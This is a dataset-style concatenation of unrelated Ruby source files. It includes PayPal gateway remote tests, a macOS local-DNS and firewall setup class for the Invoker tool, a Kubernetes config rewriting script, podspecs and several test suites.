b920adc783ba983f00de51b88e9ac24a0d60a16d | 2,105 | class ListPositionDecorator < SimpleDelegator
def list_positions
fpl_team_list.list_positions.order(role: :asc, position_id: :desc)
end
def substitute_options
options =
if list_positions.goalkeepers.include?(__getobj__)
list_positions.goalkeepers.where.not(player_id: player_id)
elsif starting?
list_positions.field_players.where.not(role: 'starting').to_a.delete_if do |list_position|
@starting_lineup_arr = list_positions.starting.where.not(player_id: player_id).to_a
@starting_lineup_arr << list_position
starting_position_count('Forward').zero? || starting_position_count('Midfielder') < 2 ||
starting_position_count('Defender') < 3
end
else
list_positions.field_players.where.not(player_id: player_id).to_a.delete_if do |list_position|
@starting_lineup_arr = list_positions.starting.where.not(player: list_position.player).to_a
@starting_lineup_arr << __getobj__
starting_position_count('Forward').zero? || starting_position_count('Midfielder') < 2 ||
starting_position_count('Defender') < 3
end
end
options.map { |option| option.player_id }
end
# Not sure whether I'll have to use this or whether event_points will be sufficient
def scoring_hash
pfh = player_fixture_history
{
id: id,
role: role,
position_id: position_id,
player_id: player_id,
status: player.status,
minutes: pfh.nil? ? 0 : pfh['minutes'],
points: pfh.nil? ? 0 : pfh['total_points'],
team_id: player.team_id
}
end
private
def starting_position_count(position_name)
@starting_lineup_arr.select { |list_position| list_position.position.singular_name == position_name }.count
end
def player_fixture_history
player.player_fixture_histories.find { |pfh| pfh['round'] == fpl_team_list.round_id }
end
def minutes
player_fixture_history ? player_fixture_history['minutes'] : 0
end
def points
player_fixture_history ? player_fixture_history['total_points'] : 0
end
end
| 34.508197 | 111 | 0.705938 |
ff1215127e3b6e65b9ddeb5da70bd8cb2cdf816b | 91 | class HashProcessor
def initialize(event_table)
@event_table = event_table
end
end
| 15.166667 | 30 | 0.769231 |
912779bda0237b74dc1dc655082a4c7691d2a58a | 1,931 | module Eligible
class APIResource < EligibleObject
def self.class_name
name.split('::').last
end
def self.api_url(base, params = nil, param_id = nil)
if params.nil?
"/#{base}"
else
id = Util.value(params, param_id)
"/#{base}/#{id}"
end
end
def self.url
if self == APIResource
fail NotImplementedError, 'APIResource is an abstract class. You should perform actions on its subclasses (Plan, Service, etc.)'
end
"/#{CGI.escape(class_name.downcase)}/"
end
def self.endpoint_name
self.const_get('ENDPOINT_NAME')
end
def self.require_param(value, name)
fail ArgumentError, "#{name} of the #{class_name} is required" if value.nil? || (value.is_a?(String) && value.empty?)
end
def self.required_param_validation(params:, required_params:)
return if required_params.nil? || !required_params.is_a?(Array)
required_params.each do |required_param_name|
required_param = Util.value(params, required_param_name)
require_param(required_param, required_param_name)
end
end
def self.rest_api_params(id_or_params)
id_or_params.is_a?(Hash) ? id_or_params : { id: id_or_params }
end
def self.send_request(method, url, params, opts)
headers = opts.clone
client_secret = headers.delete(:client_secret)
api_key = headers.delete(:api_key)
api_key = client_secret unless client_secret.nil?
required_param_validation(params: params, required_params: headers.delete(:required_params))
# Here rest_api_version is related to New REST API Endpoints
params = self.const_defined?(:REST_API_VERSION) ? params.merge(rest_api_version: self::REST_API_VERSION) : params
response, api_key = Eligible.request(method, url, api_key, params, headers)
Util.convert_to_eligible_object(response, api_key)
end
end
end
| 32.728814 | 137 | 0.683066 |
337ac5ae9021393c808fefa4e715d6f8ba8391c8 | 1,017 | Pod::Spec.new do |s|
s.name = 'AWSFacebookSignIn'
s.version = '2.13.3'
s.summary = 'Amazon Web Services SDK for iOS.'
s.description = 'The AWS SDK for iOS provides a library, code samples, and documentation for developers to build connected mobile applications using AWS.'
s.homepage = 'http://aws.amazon.com/mobile/sdk'
s.license = 'Apache License, Version 2.0'
s.author = { 'Amazon Web Services' => 'amazonwebservices' }
s.platform = :ios, '9.0'
s.source = { :git => 'https://github.com/aws/aws-sdk-ios.git',
:tag => s.version}
s.requires_arc = true
s.dependency 'AWSAuthCore', '2.13.3'
s.dependency 'FBSDKLoginKit', '5.8'
s.dependency 'FBSDKCoreKit', '5.8'
s.source_files = 'AWSAuthSDK/Sources/AWSFacebookSignIn/*.{h,m}'
s.public_header_files = 'AWSAuthSDK/Sources/AWSFacebookSignIn/*.h'
s.resource_bundle = { 'AWSFacebookSignIn' => 'AWSAuthSDK/Sources/AWSFacebookSignIn/Images.xcassets' }
end
| 46.227273 | 158 | 0.646018 |
bf5dd918f7c1c9e2898294e384ba56808c0584ae | 10,616 | require 'test_helper'
class PaypalTest < Test::Unit::TestCase
def setup
@gateway = PaypalGateway.new(fixtures(:paypal_signature))
@credit_card = credit_card('4381258770269608') # Use a generated CC from the paypal Sandbox
@declined_card = credit_card('234234234234')
@params = {
:order_id => generate_unique_id,
:email => '[email protected]',
:billing_address =>
{
:name => 'Longbob Longsen',
:address1 => '4321 Penny Lane',
:city => 'Jonsetown',
:state => 'NC',
:country => 'US',
:zip => '23456'
},
:description => 'Stuff that you purchased, yo!',
:ip => '10.0.0.1'
}
@amount = 100
# test re-authorization, auth-id must be more than 3 days old.
# each auth-id can only be reauthorized and tested once.
# leave it commented if you don't want to test reauthorization.
#
# @three_days_old_auth_id = "9J780651TU4465545"
# @three_days_old_auth_id2 = "62503445A3738160X"
end
def test_transcript_scrubbing
transcript = capture_transcript(@gateway) do
@gateway.purchase(@amount, @credit_card, @params)
end
transcript = @gateway.scrub(transcript)
assert_scrubbed(@credit_card.number, transcript)
assert_scrubbed(@credit_card.verification_value, transcript)
assert_scrubbed(@gateway.options[:login], transcript)
assert_scrubbed(@gateway.options[:password], transcript)
assert_scrubbed(@gateway.options[:signature], transcript)
end
def test_successful_purchase
response = @gateway.purchase(@amount, @credit_card, @params)
assert_success response
assert response.params['transaction_id']
end
def test_successful_purchase_sans_cvv
@credit_card.verification_value = nil
response = @gateway.purchase(@amount, @credit_card, @params)
assert_success response
assert response.params['transaction_id']
end
def test_successful_purchase_with_descriptors
response = @gateway.purchase(@amount, @credit_card, @params.merge(soft_descriptor: 'Active Merchant TXN', soft_descriptor_city: '800-883-3931'))
assert_success response
assert response.params['transaction_id']
end
def test_successful_purchase_with_order_total_elements
order_total_elements = {
:subtotal => @amount/4,
:shipping => @amount/4,
:handling => @amount/4,
:tax => @amount/4
}
response = @gateway.purchase(@amount, @credit_card, @params.merge(order_total_elements))
assert_success response
assert response.params['transaction_id']
end
def test_successful_purchase_with_non_fractional_currency_when_any_order_total_element_is_nil
order_total_elements = {
:subtotal => @amount/4,
:shipping => @amount/4,
:handling => nil,
:tax => @amount/4
}
response = @gateway.purchase(@amount, @credit_card, @params.merge(order_total_elements).merge(:currency => 'JPY'))
assert_success response
assert response.params['transaction_id']
end
def test_failed_purchase
response = @gateway.purchase(@amount, @declined_card, @params)
assert_failure response
assert_nil response.params['transaction_id']
end
def test_successful_authorization
response = @gateway.authorize(@amount, @credit_card, @params)
assert_success response
assert response.params['transaction_id']
assert_equal '1.00', response.params['amount']
assert_equal 'USD', response.params['amount_currency_id']
end
def test_failed_authorization
response = @gateway.authorize(@amount, @declined_card, @params)
assert_failure response
assert_nil response.params['transaction_id']
end
def test_successful_reauthorization
return if not @three_days_old_auth_id
auth = @gateway.reauthorize(1000, @three_days_old_auth_id)
assert_success auth
assert auth.authorization
response = @gateway.capture(1000, auth.authorization)
assert_success response
assert response.params['transaction_id']
assert_equal '10.00', response.params['gross_amount']
assert_equal 'USD', response.params['gross_amount_currency_id']
end
def test_failed_reauthorization
return if not @three_days_old_auth_id2 # was authed for $10, attempt $20
auth = @gateway.reauthorize(2000, @three_days_old_auth_id2)
assert_false auth?
assert !auth.authorization
end
def test_successful_capture
auth = @gateway.authorize(@amount, @credit_card, @params)
assert_success auth
response = @gateway.capture(@amount, auth.authorization)
assert_success response
assert response.params['transaction_id']
assert_equal '1.00', response.params['gross_amount']
assert_equal 'USD', response.params['gross_amount_currency_id']
end
def test_successful_incomplete_captures
auth = @gateway.authorize(100, @credit_card, @params)
assert_success auth
response = @gateway.capture(60, auth.authorization, {:complete_type => 'NotComplete'})
assert_success response
assert response.params['transaction_id']
assert_equal '0.60', response.params['gross_amount']
response_2 = @gateway.capture(40, auth.authorization)
assert_success response_2
assert response_2.params['transaction_id']
assert_equal '0.40', response_2.params['gross_amount']
end
def test_successful_capture_updating_the_invoice_id
auth = @gateway.authorize(@amount, @credit_card, @params)
assert_success auth
response = @gateway.capture(@amount, auth.authorization, :order_id => "NEWID#{generate_unique_id}")
assert_success response
assert response.params['transaction_id']
assert_equal '1.00', response.params['gross_amount']
assert_equal 'USD', response.params['gross_amount_currency_id']
end
def test_successful_voiding
auth = @gateway.authorize(@amount, @credit_card, @params)
assert_success auth
response = @gateway.void(auth.authorization)
assert_success response
end
def test_purchase_and_full_credit
purchase = @gateway.purchase(@amount, @credit_card, @params)
assert_success purchase
credit = @gateway.refund(@amount, purchase.authorization, :note => 'Sorry')
assert_success credit
assert credit.test?
assert_equal 'USD', credit.params['net_refund_amount_currency_id']
assert_equal '0.97', credit.params['net_refund_amount']
assert_equal 'USD', credit.params['gross_refund_amount_currency_id']
assert_equal '1.00', credit.params['gross_refund_amount']
assert_equal 'USD', credit.params['fee_refund_amount_currency_id']
assert_equal '0.03', credit.params['fee_refund_amount'] # As of August 2010, PayPal keeps the flat fee ($0.30)
end
def test_failed_voiding
response = @gateway.void('foo')
assert_failure response
end
def test_successful_verify
assert response = @gateway.verify(@credit_card, @params)
assert_success response
assert_equal '0.00', response.params['amount']
assert_match %r{This card authorization verification is not a payment transaction}, response.message
end
def test_failed_verify
assert response = @gateway.verify(@declined_card, @params)
assert_failure response
assert_match %r{This transaction cannot be processed}, response.message
end
def test_successful_verify_non_visa_mc
amex_card = credit_card('371449635398431', brand: nil, verification_value: '1234')
assert response = @gateway.verify(amex_card, @params)
assert_success response
assert_equal '1.00', response.params['amount']
assert_match %r{Success}, response.message
assert_success response.responses.last, 'The void should succeed'
end
def test_successful_transfer
response = @gateway.purchase(@amount, @credit_card, @params)
assert_success response
response = @gateway.transfer(@amount, '[email protected]', :subject => 'Your money', :note => 'Thanks for taking care of that')
assert_success response
end
def test_failed_transfer
# paypal allows a max transfer of $10,000
response = @gateway.transfer(1000001, '[email protected]')
assert_failure response
end
def test_successful_multiple_transfer
response = @gateway.purchase(900, @credit_card, @params)
assert_success response
response = @gateway.transfer([@amount, '[email protected]'],
[600, '[email protected]', {:note => 'Thanks for taking care of that'}],
:subject => 'Your money')
assert_success response
end
def test_failed_multiple_transfer
response = @gateway.purchase(25100, @credit_card, @params)
assert_success response
# You can only include up to 250 recipients
recipients = (1..251).collect { |i| [100, "person#{i}@example.com"] }
response = @gateway.transfer(*recipients)
assert_failure response
end
def test_successful_email_transfer
response = @gateway.purchase(@amount, @credit_card, @params)
assert_success response
response = @gateway.transfer([@amount, '[email protected]'], :receiver_type => 'EmailAddress', :subject => 'Your money', :note => 'Thanks for taking care of that')
assert_success response
end
def test_successful_userid_transfer
response = @gateway.purchase(@amount, @credit_card, @params)
assert_success response
response = @gateway.transfer([@amount, '4ET96X3PQEN8H'], :receiver_type => 'UserID', :subject => 'Your money', :note => 'Thanks for taking care of that')
assert_success response
end
def test_failed_userid_transfer
response = @gateway.purchase(@amount, @credit_card, @params)
assert_success response
response = @gateway.transfer([@amount, '[email protected]'], :receiver_type => 'UserID', :subject => 'Your money', :note => 'Thanks for taking care of that')
assert_failure response
end
# Makes a purchase then makes another purchase adding $1.00 using just a reference id (transaction id)
def test_successful_referenced_id_purchase
response = @gateway.purchase(@amount, @credit_card, @params)
assert_success response
id_for_reference = response.params['transaction_id']
@params.delete(:order_id)
response2 = @gateway.purchase(@amount + 100, id_for_reference, @params)
assert_success response2
end
def test_successful_purchase_with_3ds_version_1
params = @params.merge!({
three_d_secure: {
trans_status: 'Y',
eci: '05',
cavv: 'AgAAAAAAAIR8CQrXcIhbQAAAAAA',
xid: 'MDAwMDAwMDAwMDAwMDAwMzIyNzY='
}
})
response = @gateway.purchase(@amount, @credit_card, params)
assert_success response
assert response.params['transaction_id']
end
end
| 35.269103 | 165 | 0.721364 |
33fbefc1142aa9fd46180d2ecf1c6d8954c40306 | 1,385 |
Pod::Spec.new do |spec|
spec.name = "TFYSwiftRouter"
spec.version = "2.1.4"
spec.summary = "汇编代码的路由跳转,支持OC 于 Swift 各个界面跳转,方法跳转 数据传输,最低支持ios 13 Swift 5 "
spec.description = <<-DESC
汇编代码的路由跳转,支持OC 于 Swift 各个界面跳转,方法跳转 数据传输,最低支持ios 13 Swift 5
DESC
spec.homepage = "https://github.com/13662049573/TFYSwiftMessageRouter"
spec.license = "MIT"
spec.author = { "田风有" => "[email protected]" }
spec.source = { :git => "https://github.com/13662049573/TFYSwiftMessageRouter.git", :tag => spec.version }
spec.subspec 'RouterITools' do |ss|
ss.source_files = "TFYSwiftMessageRouter/TFYSwiftRouter/RouterITools/*.{swift}"
end
spec.subspec 'RouterLock' do |ss|
ss.source_files = "TFYSwiftMessageRouter/TFYSwiftRouter/RouterLock/*.{swift}"
end
spec.subspec 'RouterOC' do |ss|
ss.source_files = "TFYSwiftMessageRouter/TFYSwiftRouter/RouterOC/*.{swift}"
ss.dependency "TFYSwiftRouter/RouterLock"
ss.dependency "TFYSwiftRouter/RouterSwift"
end
spec.subspec 'RouterSwift' do |ss|
ss.source_files = "TFYSwiftMessageRouter/TFYSwiftRouter/RouterSwift/*.{swift}"
ss.dependency "TFYSwiftRouter/RouterLock"
end
spec.platform = :ios, "13.0"
spec.swift_version = '5.0'
spec.pod_target_xcconfig = { 'SWIFT_VERSION' => '5.0' }
spec.requires_arc = true
end
| 26.634615 | 114 | 0.674368 |
ab6d838555e3af119dc1f94ae89f85bff05d1f1b | 880 | ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../../config/environment', __FILE__)
require 'rails/test_help'
require "minitest/reporters"
Minitest::Reporters.use!
class ActiveSupport::TestCase
# Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
fixtures :all
include ApplicationHelper
# Returns true if a test user is logged in.
def is_logged_in?
!session[:user_id].nil?
end
# Log in as a particular user.
def log_in_as(user)
session[:user_id] = user.id
end
end
class ActionDispatch::IntegrationTest
# Log in as a particular user.
def log_in_as(user, password: 'password', remember_me: '1')
post login_path, params: { session: { email: user.email,
password: password,
remember_me: remember_me } }
end
end
| 27.5 | 82 | 0.645455 |
1dc047a8090153d9e1c0aa323a3061a86aca1c3f | 4,763 | module Invoker
module Power
class OsxSetup < Setup
RESOLVER_FILE = "/etc/resolver/dev"
RESOLVER_DIR = "/etc/resolver"
FIREWALL_PLIST_FILE = "/Library/LaunchDaemons/com.codemancers.invoker.firewall.plist"
def setup_invoker
if setup_resolver_file
find_open_ports
install_resolver(port_finder.dns_port)
install_firewall(port_finder.http_port, port_finder.https_port)
# Before writing the config file, drop down to a normal user
drop_to_normal_user
create_config_file
else
Invoker::Logger.puts("Invoker is not configured to serve from subdomains".color(:red))
end
self
end
def uninstall_invoker
uninstall_invoker_flag = Invoker::CLI::Question.agree("Are you sure you want to uninstall firewall rules created by setup (y/n) : ")
if uninstall_invoker_flag
remove_resolver_file
unload_firewall_rule(true)
Invoker::Power::Config.delete
Invoker::Logger.puts("Firewall rules were removed")
end
end
def create_config_file
Invoker.setup_config_location
Invoker::Power::Config.create(
dns_port: port_finder.dns_port,
http_port: port_finder.http_port,
https_port: port_finder.https_port
)
end
def install_resolver(dns_port)
open_resolver_for_write { |fl|
fl.write(resolve_string(dns_port))
}
rescue Errno::EACCES
Invoker::Logger.puts("Running setup requires root access, please rerun it with sudo".color(:red))
raise
end
def remove_resolver_file
if File.exists?(RESOLVER_FILE)
File.delete(RESOLVER_FILE)
end
rescue Errno::EACCES
Invoker::Logger.puts("Running uninstall requires root access, please rerun it with sudo".color(:red))
raise
end
def install_firewall(http_port, https_port)
File.open(FIREWALL_PLIST_FILE, "w") { |fl|
fl.write(plist_string(http_port, https_port))
}
unload_firewall_rule
load_firewall_rule
end
def load_firewall_rule
system("launchctl load -Fw #{FIREWALL_PLIST_FILE} 2>/dev/null")
end
def unload_firewall_rule(remove = false)
system("pfctl -a com.apple/250.InvokerFirewall -F nat 2>/dev/null")
system("launchctl unload -w #{FIREWALL_PLIST_FILE} 2>/dev/null")
system("rm -rf #{FIREWALL_PLIST_FILE}") if remove
end
# Ripped from POW code
def plist_string(http_port, https_port)
plist =<<-EOD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.codemancers.invoker</string>
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>#{firewall_command(http_port, https_port)}</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>UserName</key>
<string>root</string>
</dict>
</plist>
EOD
plist
end
def resolve_string(dns_port)
string =<<-EOD
nameserver 127.0.0.1
port #{dns_port}
EOD
string
end
# Ripped from Pow code
def firewall_command(http_port, https_port)
rules = [
"rdr pass on lo0 inet proto tcp from any to any port 80 -> 127.0.0.1 port #{http_port}",
"rdr pass on lo0 inet proto tcp from any to any port 443 -> 127.0.0.1 port #{https_port}"
].join("\n")
"echo \"#{rules}\" | pfctl -a 'com.apple/250.InvokerFirewall' -f - -E"
end
def setup_resolver_file
return true unless File.exists?(RESOLVER_FILE)
Invoker::Logger.puts "Invoker has detected an existing Pow installation. We recommend "\
"that you uninstall pow and rerun this setup.".color(:red)
Invoker::Logger.puts "If you have already uninstalled Pow, proceed with installation"\
" by pressing y/n."
replace_resolver_flag = Invoker::CLI::Question.agree("Replace Pow configuration (y/n) : ")
if replace_resolver_flag
Invoker::Logger.puts "Invoker has overwritten one or more files created by Pow. "\
"If .dev domains still don't resolve locally. Try turning off the wi-fi"\
" and turning it on. It will force OSX to reload network configuration".color(:green)
end
replace_resolver_flag
end
private
def open_resolver_for_write
FileUtils.mkdir(RESOLVER_DIR) unless Dir.exists?(RESOLVER_DIR)
fl = File.open(RESOLVER_FILE, "w")
yield fl
ensure
fl && fl.close
end
end
end
end
| 31.753333 | 140 | 0.642032 |
392f032d62b84d825e8de8dcafb0dffd90ed104a | 3,003 | require 'yaml'
require 'json'
namespace, domain, kube_config = ARGV.shift(3)
configmap = %x(kubectl get configmap secrets-config --namespace #{namespace} -o json)
configmap = JSON.parse(configmap)['data']
current_secrets_name = configmap['current-secrets-name']
secrets = %x(kubectl get secret secrets --namespace #{namespace} -o json)
secrets = JSON.parse(secrets)['data']
generated = %x(kubectl get secret #{current_secrets_name} --namespace #{namespace} -o json)
generated = JSON.parse(generated)['data']
overrides = Hash.new
ARGV.each do |arg|
k, v = arg.split('=', 2)
overrides[k.split('.')] = v
end
YAML.load_stream (IO.read(kube_config)) do |obj|
if obj['spec']
obj['spec']['containers'].each do |container|
container['env'].each do |env|
unless domain.empty?
value = env['value']
case env['name']
when 'DOMAIN'
value = domain
when 'TCP_DOMAIN'
value = "tcp.#{domain}"
when 'UAA_HOST'
value = "uaa.#{domain}"
when 'GARDEN_LINUX_DNS_SERVER'
value = "8.8.8.8"
when 'INSECURE_DOCKER_REGISTRIES'
value = "\"insecure-registry.#{domain}:20005\""
end
env['value'] = value.to_s
end
if env['valueFrom'] && env['valueFrom']['secretKeyRef']
name = env['name'].downcase.gsub('_', '-')
if generated.has_key?(name) && (secrets[name].nil? || secrets[name].empty?)
env['valueFrom']['secretKeyRef']['name'] = current_secrets_name
end
end
end
overrides.each do |k, v|
child = container
k[0...-1].each do |elem|
child[elem] ||= {}
child = child[elem]
end
if k[0...1] == %w(env)
# Deal with the environment list specially, because the syntax isn't what
# humans normally want.
# The environment is actually in a list of hashes with "name" and "value"
# keys. Erase any elements with the same name, and then append it.
child.reject! do |elem|
elem['name'] == k.last
end
child << {
'name' => k.last,
'value' => v,
}
else
# Normal key/value override, e.g. to change the image pull policy
child[k.last] = v
end
end
end
end
if obj['kind'] == 'ClusterRoleBinding' && obj['roleRef']['kind'] == 'ClusterRole'
roleRefName = "#{namespace}-#{obj['roleRef']['name']}"
%x(kubectl get clusterrole #{roleRefName} --output name 2>&1)
unless $?.success?
# Cluster role does not exist
STDERR.puts "Warning: cluster role #{roleRefName} does not exist"
next
end
['metadata', 'roleRef'].each do |key|
obj[key]['name'] = "#{namespace}-#{obj[key]['name']}"
end
obj['subjects'].each do |subject|
subject['namespace'] = namespace if subject.has_key? 'namespace'
end
end
puts obj.to_yaml
end
| 30.958763 | 91 | 0.571762 |
268034eeeb408e3f4bf02c1ca04a454f9fb20921 | 4,850 | require File.expand_path(File.join(File.dirname(__FILE__),'..','..','test_helper'))
class NewRelic::Agent::TransationSampleBuilderTest < Test::Unit::TestCase
def setup
@builder = NewRelic::Agent::TransactionSampleBuilder.new
end
def test_build_sample
build_segment("a") do
build_segment("aa") do
build_segment("aaa")
end
build_segment("ab") do
build_segment("aba") do
build_segment("abaa")
end
build_segment("aba")
build_segment("abc") do
build_segment("abca")
build_segment("abcd")
end
end
end
build_segment "b"
build_segment "c" do
build_segment "ca"
build_segment "cb" do
build_segment "cba"
end
end
@builder.finish_trace(Time.now.to_f)
validate_builder
end
def test_freeze
build_segment "a" do
build_segment "aa"
end
begin
builder.sample
assert false
rescue Exception => e
# expected
end
@builder.finish_trace(Time.now.to_f)
validate_builder
begin
build_segment "b"
assert false
rescue TypeError => e
# expected
end
end
# this is really a test for transaction sample
def test_omit_segments_with
build_segment "Controller/my_controller/index" do
sleep 0.010
build_segment "Rails/Application Code Loading" do
sleep 0.020
build_segment "foo/bar" do
sleep 0.010
end
end
build_segment "a" do
build_segment "ab"
sleep 0.010
end
build_segment "b" do
build_segment "ba"
sleep 0.05
build_segment "bb"
build_segment "bc" do
build_segment "bca"
sleep 0.05
end
end
build_segment "c"
end
@builder.finish_trace(Time.now.to_f)
validate_builder false
sample = @builder.sample
should_be_a_copy = sample.omit_segments_with('OMIT NOTHING')
validate_segment should_be_a_copy.root_segment, false
assert sample.to_s == should_be_a_copy.to_s
without_code_loading = sample.omit_segments_with('Rails/Application Code Loading')
validate_segment without_code_loading.root_segment, false
# after we take out code loading, the delta should be approximately
# 30 milliseconds
delta = (sample.duration - without_code_loading.duration) * 1000
# Need to allow substantial headroom on the upper bound to prevent
# spurious errors.
assert delta >= 28, "delta #{delta} should be between 28 and 100"
# disable this test for a couple days:
assert delta <= 100, "delta #{delta} should be between 28 and 100"
# ensure none of the segments have this regex
without_code_loading.each_segment do |segment|
assert_nil segment.metric_name =~ /Rails\/Application Code Loading/
end
end
def test_unbalanced_handling
assert_raise RuntimeError do
build_segment("a") do
begin
build_segment("aa") do
build_segment("aaa") do
raise "a problem"
end
end
rescue; end
end
end
end
def test_marshal
build_segment "a" do
build_segment "ab"
end
build_segment "b" do
build_segment "ba"
build_segment "bb"
build_segment "bc" do
build_segment "bca"
end
end
build_segment "c"
@builder.finish_trace(Time.now.to_f)
validate_builder
dump = Marshal.dump @builder.sample
sample = Marshal.restore(dump)
validate_segment(sample.root_segment)
end
def test_parallel_first_level_segments
build_segment "a" do
build_segment "ab"
end
build_segment "b"
build_segment "c"
@builder.finish_trace(Time.now.to_f)
validate_builder
end
def validate_builder(check_names = true)
validate_segment @builder.sample.root_segment, check_names
end
def validate_segment(s, check_names = true)
p = s.parent_segment
unless p.nil? || p.metric_name == 'ROOT'
assert p.called_segments.include?(s)
assert_equal p.metric_name.length, s.metric_name.length - 1, "p: #{p.metric_name}, s: #{s.metric_name}" if check_names
assert p.metric_name < s.metric_name if check_names
assert p.entry_timestamp <= s.entry_timestamp
end
assert s.exit_timestamp >= s.entry_timestamp
children = s.called_segments
last_segment = s
children.each do |child|
assert child.metric_name > last_segment.metric_name if check_names
assert child.entry_timestamp >= last_segment.entry_timestamp
last_metric = child
validate_segment(child, check_names)
end
end
def build_segment(metric, time = 0, &proc)
@builder.trace_entry(metric, Time.now.to_f)
proc.call if proc
@builder.trace_exit(metric, Time.now.to_f)
end
end
| 24.744898 | 124 | 0.657526 |
03e6da3a0730792ab24cbaf184b938cf8ecb3021 | 1,792 | module Solargraph
module LanguageServer
module Message
module TextDocument
autoload :Base, 'solargraph/language_server/message/text_document/base'
autoload :Completion, 'solargraph/language_server/message/text_document/completion'
autoload :DidOpen, 'solargraph/language_server/message/text_document/did_open'
autoload :DidChange, 'solargraph/language_server/message/text_document/did_change'
autoload :DidClose, 'solargraph/language_server/message/text_document/did_close'
autoload :DidSave, 'solargraph/language_server/message/text_document/did_save'
autoload :Hover, 'solargraph/language_server/message/text_document/hover'
autoload :SignatureHelp, 'solargraph/language_server/message/text_document/signature_help'
autoload :DiagnosticsQueue, 'solargraph/language_server/message/text_document/diagnostics_queue'
autoload :OnTypeFormatting, 'solargraph/language_server/message/text_document/on_type_formatting'
autoload :Definition, 'solargraph/language_server/message/text_document/definition'
autoload :DocumentSymbol, 'solargraph/language_server/message/text_document/document_symbol'
autoload :Formatting, 'solargraph/language_server/message/text_document/formatting'
autoload :References, 'solargraph/language_server/message/text_document/references'
autoload :Rename, 'solargraph/language_server/message/text_document/rename'
autoload :PrepareRename, 'solargraph/language_server/message/text_document/prepare_rename'
autoload :FoldingRange, 'solargraph/language_server/message/text_document/folding_range'
end
end
end
end
| 68.923077 | 105 | 0.742746 |
0378b69b1b1d65acb957380ae9f355e53cbe0f6a | 63 | module Clark
module EventBus
VERSION = '0.1.0'
end
end
| 10.5 | 21 | 0.650794 |
ffe2c5c0765ac8f7541c3937803e215f8221658a | 2,301 | # -*- encoding: utf-8 -*-
# stub: factory_girl_rails 4.2.1 ruby lib
Gem::Specification.new do |s|
s.name = "factory_girl_rails".freeze
s.version = "4.2.1"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Joe Ferris".freeze]
s.date = "2013-02-08"
s.description = "factory_girl_rails provides integration between\n factory_girl and rails 3 (currently just automatic factory definition\n loading)".freeze
s.email = "[email protected]".freeze
s.homepage = "http://github.com/thoughtbot/factory_girl_rails".freeze
s.rubygems_version = "2.7.6".freeze
s.summary = "factory_girl_rails provides integration between factory_girl and rails 3".freeze
s.installed_by_version = "2.7.6" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 3
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<railties>.freeze, [">= 3.0.0"])
s.add_runtime_dependency(%q<factory_girl>.freeze, ["~> 4.2.0"])
s.add_development_dependency(%q<appraisal>.freeze, ["~> 0.5.0"])
s.add_development_dependency(%q<rake>.freeze, [">= 0"])
s.add_development_dependency(%q<rspec>.freeze, ["~> 2.11.0"])
s.add_development_dependency(%q<cucumber>.freeze, ["~> 1.2.1"])
s.add_development_dependency(%q<aruba>.freeze, ["~> 0.5.1"])
else
s.add_dependency(%q<railties>.freeze, [">= 3.0.0"])
s.add_dependency(%q<factory_girl>.freeze, ["~> 4.2.0"])
s.add_dependency(%q<appraisal>.freeze, ["~> 0.5.0"])
s.add_dependency(%q<rake>.freeze, [">= 0"])
s.add_dependency(%q<rspec>.freeze, ["~> 2.11.0"])
s.add_dependency(%q<cucumber>.freeze, ["~> 1.2.1"])
s.add_dependency(%q<aruba>.freeze, ["~> 0.5.1"])
end
else
s.add_dependency(%q<railties>.freeze, [">= 3.0.0"])
s.add_dependency(%q<factory_girl>.freeze, ["~> 4.2.0"])
s.add_dependency(%q<appraisal>.freeze, ["~> 0.5.0"])
s.add_dependency(%q<rake>.freeze, [">= 0"])
s.add_dependency(%q<rspec>.freeze, ["~> 2.11.0"])
s.add_dependency(%q<cucumber>.freeze, ["~> 1.2.1"])
s.add_dependency(%q<aruba>.freeze, ["~> 0.5.1"])
end
end
| 46.02 | 163 | 0.655367 |
1dcc5b7fdd2839bc1ac077b84f0f93f4cb5d3188 | 2,467 | require 'puppet'
require 'puppet/provider/cinder_type/openstack'
provider_class = Puppet::Type.type(:cinder_type).provider(:openstack)
describe provider_class do
let(:set_creds_env) do
ENV['OS_USERNAME'] = 'test'
ENV['OS_PASSWORD'] = 'abc123'
ENV['OS_PROJECT_NAME'] = 'test'
ENV['OS_AUTH_URL'] = 'http://127.0.0.1:5000'
end
let(:type_attributes) do
{
:name => 'Backend_1',
:ensure => :present,
:properties => ['key=value', 'new_key=new_value'],
}
end
let(:resource) do
Puppet::Type::Cinder_type.new(type_attributes)
end
let(:provider) do
provider_class.new(resource)
end
before(:each) { set_creds_env }
after(:each) do
Puppet::Type.type(:cinder_type).provider(:openstack).reset
provider_class.reset
end
describe 'managing type' do
describe '#create' do
it 'creates a type' do
provider_class.expects(:openstack)
.with('volume type', 'create', '--format', 'shell', ['--property', 'key=value', '--property', 'new_key=new_value', 'Backend_1'])
.returns('id="90e19aff-1b35-4d60-9ee3-383c530275ab"
name="Backend_1"
properties="key=\'value\', new_key=\'new_value\'"
')
provider.create
expect(provider.exists?).to be_truthy
end
end
describe '#destroy' do
it 'destroys a type' do
provider_class.expects(:openstack)
.with('volume type', 'delete', 'Backend_1')
provider.destroy
expect(provider.exists?).to be_falsey
end
end
describe '#instances' do
it 'finds types' do
provider_class.expects(:openstack)
.with('volume type', 'list', '--quiet', '--format', 'csv', '--long')
.returns('"ID","Name","Properties"
"28b632e8-6694-4bba-bf68-67b19f619019","type-1","key1=\'value1\'"
"4f992f69-14ec-4132-9313-55cc06a6f1f6","type-2","key2=\'value2\'"
')
instances = provider_class.instances
expect(instances.count).to eq(2)
expect(instances[0].name).to eq('type-1')
expect(instances[1].name).to eq('type-2')
end
end
describe '#string2array' do
it 'should return an array with key-value' do
s = "key='value', key2='value2'"
expect(provider_class.string2array(s)).to eq(['key=value', 'key2=value2'])
end
end
end
end
| 29.369048 | 140 | 0.588974 |
